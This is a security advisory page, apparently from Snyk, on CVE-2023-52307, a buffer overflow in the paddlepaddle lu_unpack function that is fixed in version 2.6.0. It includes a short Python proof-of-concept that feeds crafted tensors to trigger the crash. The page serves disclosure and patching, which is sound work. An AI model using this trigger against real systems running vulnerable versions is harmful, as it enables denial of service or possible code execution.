Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') Affecting paddlepaddle package, versions [,2.6.0)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.09% (41st
percentile)
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Test your applications- Snyk ID SNYK-PYTHON-PADDLEPADDLE-6142742
- published 3 Jan 2024
- disclosed 3 Jan 2024
- credit Tong Liu
Introduced: 3 Jan 2024
CVE-2023-52307 Open this link in a new tabHow to fix?
Upgrade paddlepaddle to version 2.6.0 or higher.
Overview
paddlepaddle is a Parallel Distributed Deep Learning
Affected versions of this package are vulnerable to Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') via the paddle.linalg.lu_unpack function. An attacker can cause a denial of service or potentially execute arbitrary code by providing specially crafted input to trigger this vulnerability.
PoC
import paddle
import numpy as np
x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [1, 6, 4, 8, 2]).astype(np.float32))
y = paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, []).astype(np.int32))
paddle.linalg.lu_unpack(x, y, True, True)
References
CVSS Scores
version 3.1